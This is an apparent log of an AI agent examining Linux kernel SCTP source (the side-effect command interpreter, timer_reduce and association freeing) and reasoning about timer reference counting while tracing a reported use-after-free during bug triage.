1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 18226
							output: 34
							thoughts: 1130
						

**My Thoughts on SCTP Timer Management and Potential Race Conditions**

When I encounter the `SCTP_CMD_TIMER_START` command, my primary concern is how it interacts with existing timers, particularly when the timer might already be active. The code snippet reveals a common challenge in SCTP's timer handling: timer starts are often treated as side effects of other operations, making it difficult to definitively know if a timer has already been initiated. This ambiguity can lead to `BUG` halts when `add_timer` is called on an already running timer.

To circumvent this, the implementation opts to use `timer_reduce` instead of a simple `add_timer`. The logic here is that if the timer is already pending (`timer_pending(timer)` returns true), `timer_reduce` will simply adjust its expiration time, ensuring it's set to the *shorter* of the two potential expiration times. This avoids the bug.

However, my attention is immediately drawn to the `if (!timer_pending(timer))` block. If `timer_pending(timer)` is false, it means the timer is *not* currently queued. In this scenario, the code proceeds to call `sctp_association_hold(asoc)`, which I understand as acquiring a reference to the association. Then, it calls `timer_reduce`.

A critical question arises: does `timer_reduce` *guarantee* that the timer is actually started if it wasn't pending? My initial assumption is that `timer_reduce` is a wrapper around `mod_timer` (or a similar kernel function) that only modifies the expiration time if it's earlier than the current expiration. But wait, the documentation implies that `timer_reduce` *will* start the timer if it's not pending. Looking at the `timer_reduce` implementation, it calls `__mod_timer` with `MOD_TIMER_REDUCE`. If the timer is not pending, `__mod_timer` is indeed supposed to start it.

This brings me to a more insidious potential problem: what if the timer is *currently running*? That is, its callback function is actively executing. In this state, `timer_pending(timer)` would return `false` because the timer has been dequeued from the kernel's timer queue.

Now, consider the scenario where `sctp_cmd_interpreter` is invoked concurrently with the timer callback, or perhaps even *from* the timer callback itself. If `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_START` for a timer that's currently running, `timer_pending(timer)` will be false. Consequently, `sctp_association_hold(asoc)` is called, and then `timer_reduce` is invoked.

Let's trace the reference counts and timer state. The running timer callback, `sctp_generate_timeout_event`, acquires the socket lock (`bh_lock_sock(sk)`) and checks `sock_owned_by_user(sk)`. If the socket is owned, it re-arms the timer. If not, it proceeds to execute the state machine logic (`sctp_do_sm`), which can, in turn, call `sctp_cmd_interpreter`.

If `sctp_cmd_interpreter` then processes `SCTP_CMD_TIMER_START` for this *same* timer (which is still running), we hit the `!timer_pending(timer)` branch. `sctp_association_hold(asoc)` increments the association's reference count. Then, `timer_reduce` is called.

After `sctp_cmd_interpreter` returns, the original timer callback (`sctp_generate_timeout_event`) eventually finishes and calls `sctp_association_put(asoc)`, decrementing the reference count.

From my perspective, this seems to balance out: the running timer consumed a reference (implicitly, by being active), and the subsequent `sctp_cmd_interpreter` call acquired a new reference. Then the timer callback released the initial reference.

However, I'm still unsettled by the exact behavior of `timer_reduce`. It's defined to only reduce the expiration time *if it's earlier*, *or* if the timer is not pending. My lingering doubt is whether `timer_reduce` could fail to start the timer even if it's not pending, or if there's a subtle race condition where the timer might be in a transitional state that `timer_pending` doesn't perfectly capture. I need to be absolutely sure about the kernel's `timer.c` implementation regarding `__mod_timer`'s behavior when a timer is not pending but is actively running its callback. If `timer_reduce` *reliably* starts a non-pending timer, then the reference counting seems sound. But any ambiguity here could lead to a dangling reference or an unexpected timer behavior.

map[ContextFile:kernel/time/timer.c Name:timer_reduce]

map[SourceCode:1199:	/**
1200:	 * timer_reduce - Modify a timer's timeout if it would reduce the timeout
1201:	 * @timer:	The timer to be modified
1202:	 * @expires:	New absolute timeout in jiffies
1203:	 *
1204:	 * timer_reduce() is very similar to mod_timer(), except that it will only
1205:	 * modify an enqueued timer if that would reduce the expiration time. If
1206:	 * @timer is not enqueued it starts the timer.
1207:	 *
1208:	 * If @timer->function == NULL then the start operation is silently
1209:	 * discarded.
1210:	 *
1211:	 * Return:
1212:	 * * %0 - The timer was inactive and started or was in shutdown
1213:	 *	  state and the operation was discarded
1214:	 * * %1 - The timer was active and requeued to expire at @expires or
1215:	 *	  the timer was active and not modified because @expires
1216:	 *	  did not change the effective expiry time such that the
1217:	 *	  timer would expire earlier than already scheduled
1218:	 */
1219:	int timer_reduce(struct timer_list *timer, unsigned long expires)
1220:	{
1221:		return __mod_timer(timer, expires, MOD_TIMER_REDUCE);
1222:	}
 SourceFile:kernel/time/timer.c]

gemini-3.1-pro-preview

							input: 19792
							output: 41
							thoughts: 907
						

**My Thought Process Regarding SCTP Timer Reference Counting and Potential Use-After-Free**

Okay, I'm trying to get a handle on the reference counting around SCTP timers, specifically focusing on potential race conditions that could lead to a use-after-free.

First, I considered the scenario where `timer_pending(timer)` is true. If this is the case, it implies the timer already has an active reference. The `sctp_association_hold` function is explicitly *not* called in this situation. While `timer_reduce` might interact with the timer, the existing pending status means there's already a reference. This seems safe.

Next, I looked at `SCTP_CMD_TIMER_RESTART`. The key line here is `if (!mod_timer(timer, jiffies + timeout)) sctp_association_hold(asoc);`. If `mod_timer` returns 0, it signifies the timer wasn't pending. In this case, `sctp_association_hold` is called, which increments the reference count. This also seems correct; if we're restarting a timer that wasn't active, we need to ensure we have a reference.

Then, I examined `SCTP_CMD_TIMER_STOP`. The relevant part is `if (timer_delete(timer)) sctp_association_put(asoc);`. If `timer_delete` returns 1, meaning the timer *was* pending and has now been stopped, a reference is put back. This is the expected behavior: stopping an active timer should release its reference.

Now, I'm getting to the trickier part. What if `timer_pending(timer)` is false, and `timer_reduce` *doesn't* start the timer? I need to understand when `timer_reduce` would fail to start a timer. The documentation states this happens if `timer->function` is NULL. However, in the context I'm investigating, `timer->function` should not be NULL. I'm wondering if there's a "shutdown state" for timers. While older kernel versions might not have this, newer ones could.

This leads me to the specific bug reported: a `refcount_t: addition on 0; use-after-free.` within `sctp_generate_timeout_event`. The problem is that `sctp_association_hold(asoc)` is being called when `asoc->base.refcnt` is already 0. I need to pinpoint *how* this happens.

I found the call site for `sctp_association_hold` within `sctp_generate_timeout_event`:
```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		pr_debug("%s: sock is busy: timer %d\n", __func__,
			 timeout_type);

		/* Try again later.  */
		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
			sctp_association_hold(asoc); // <-- This is the suspect line
		goto out_unlock;
	}
```
If `sock_owned_by_user(sk)` is true, `mod_timer` is called. If `mod_timer` returns 0, then `sctp_association_hold` is invoked.

Here's the critical insight: the timer callback (`sctp_generate_timeout_event`) is *currently executing*. This means the timer is *not* pending; it's active. Therefore, `mod_timer` *will* return 0. Consequently, `sctp_association_hold` *will* be called.

But the core of the problem is: why is `asoc->base.refcnt` zero at this exact moment? The timer callback itself implies that the timer *had* a reference. The reference count shouldn't be decremented until the end of `sctp_generate_timeout_event`, specifically at `sctp_association_put(asoc)`. This suggests that the reference count should be at least 1 when `sctp_association_hold` is called in this scenario.

This leads me to the most important question: could another part of the code have concurrently dropped the reference? Or, perhaps, did the timer *not* actually acquire a reference in the first place? I need to investigate how `sctp_association_free` handles reference counts to understand if there's a path where a reference could be released prematurely or never acquired correctly in the first place.

map[ContextFile:net/sctp/associola.c Name:sctp_association_free]

map[SourceCode: 311:	/* Free this association if possible.  There may still be users, so
 312:	 * the actual deallocation may be delayed.
 313:	 */
 314:	void sctp_association_free(struct sctp_association *asoc)
 315:	{
 316:		struct sock *sk = asoc->base.sk;
 317:		struct sctp_transport *transport;
 318:		struct list_head *pos, *temp;
 319:		int i;
 320:	
 321:		/* Only real associations count against the endpoint, so
 322:		 * don't bother for if this is a temporary association.
 323:		 */
 324:		if (!list_empty(&asoc->asocs)) {
 325:			list_del(&asoc->asocs);
 326:	
 327:			/* Decrement the backlog value for a TCP-style listening
 328:			 * socket.
 329:			 */
 330:			if (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))
 331:				sk_acceptq_removed(sk);
 332:		}
 333:	
 334:		/* Mark as dead, so other users can know this structure is
 335:		 * going away.
 336:		 */
 337:		asoc->base.dead = true;
 338:	
 339:		/* Dispose of any data lying around in the outqueue. */
 340:		sctp_outq_free(&asoc->outqueue);
 341:	
 342:		/* Dispose of any pending messages for the upper layer. */
 343:		sctp_ulpq_free(&asoc->ulpq);
 344:	
 345:		/* Dispose of any pending chunks on the inqueue. */
 346:		sctp_inq_free(&asoc->base.inqueue);
 347:	
 348:		sctp_tsnmap_free(&asoc->peer.tsn_map);
 349:	
 350:		/* Free stream information. */
 351:		sctp_stream_free(&asoc->stream);
 352:	
 353:		if (asoc->strreset_chunk)
 354:			sctp_chunk_free(asoc->strreset_chunk);
 355:	
 356:		/* Clean up the bound address list. */
 357:		sctp_bind_addr_free(&asoc->base.bind_addr);
 358:	
 359:		/* Do we need to go through all of our timers and
 360:		 * delete them?   To be safe we will try to delete all, but we
 361:		 * should be able to go through and make a guess based
 362:		 * on our state.
 363:		 */
 364:		for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i) {
 365:			if (timer_delete(&asoc->timers[i]))
 366:				sctp_association_put(asoc);
 367:		}
 368:	
 369:		/* Free peer's cached cookie. */
 370:		kfree(asoc->peer.cookie);
 371:		kfree(asoc->peer.peer_random);
 372:		kfree(asoc->peer.peer_chunks);
 373:		kfree(asoc->peer.peer_hmacs);
 374:	
 375:		/* Release the transport structures. */
 376:		list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {
 377:			transport = list_entry(pos, struct sctp_transport, transports);
 378:			list_del_rcu(pos);
 379:			sctp_unhash_transport(transport);
 380:			sctp_transport_free(transport);
 381:		}
 382:	
 383:		asoc->peer.transport_count = 0;
 384:	
 385:		sctp_asconf_queue_teardown(asoc);
 386:	
 387:		/* Free pending address space being deleted */
 388:		kfree(asoc->asconf_addr_del_pending);
 389:	
 390:		/* AUTH - Free the endpoint shared keys */
 391:		sctp_auth_destroy_keys(&asoc->endpoint_shared_keys);
 392:	
 393:		/* AUTH - Free the association shared key */
 394:		sctp_auth_key_put(asoc->asoc_shared_key);
 395:	
 396:		sctp_association_put(asoc);
 397:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 22099
							output: 43
							thoughts: 1462
						

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
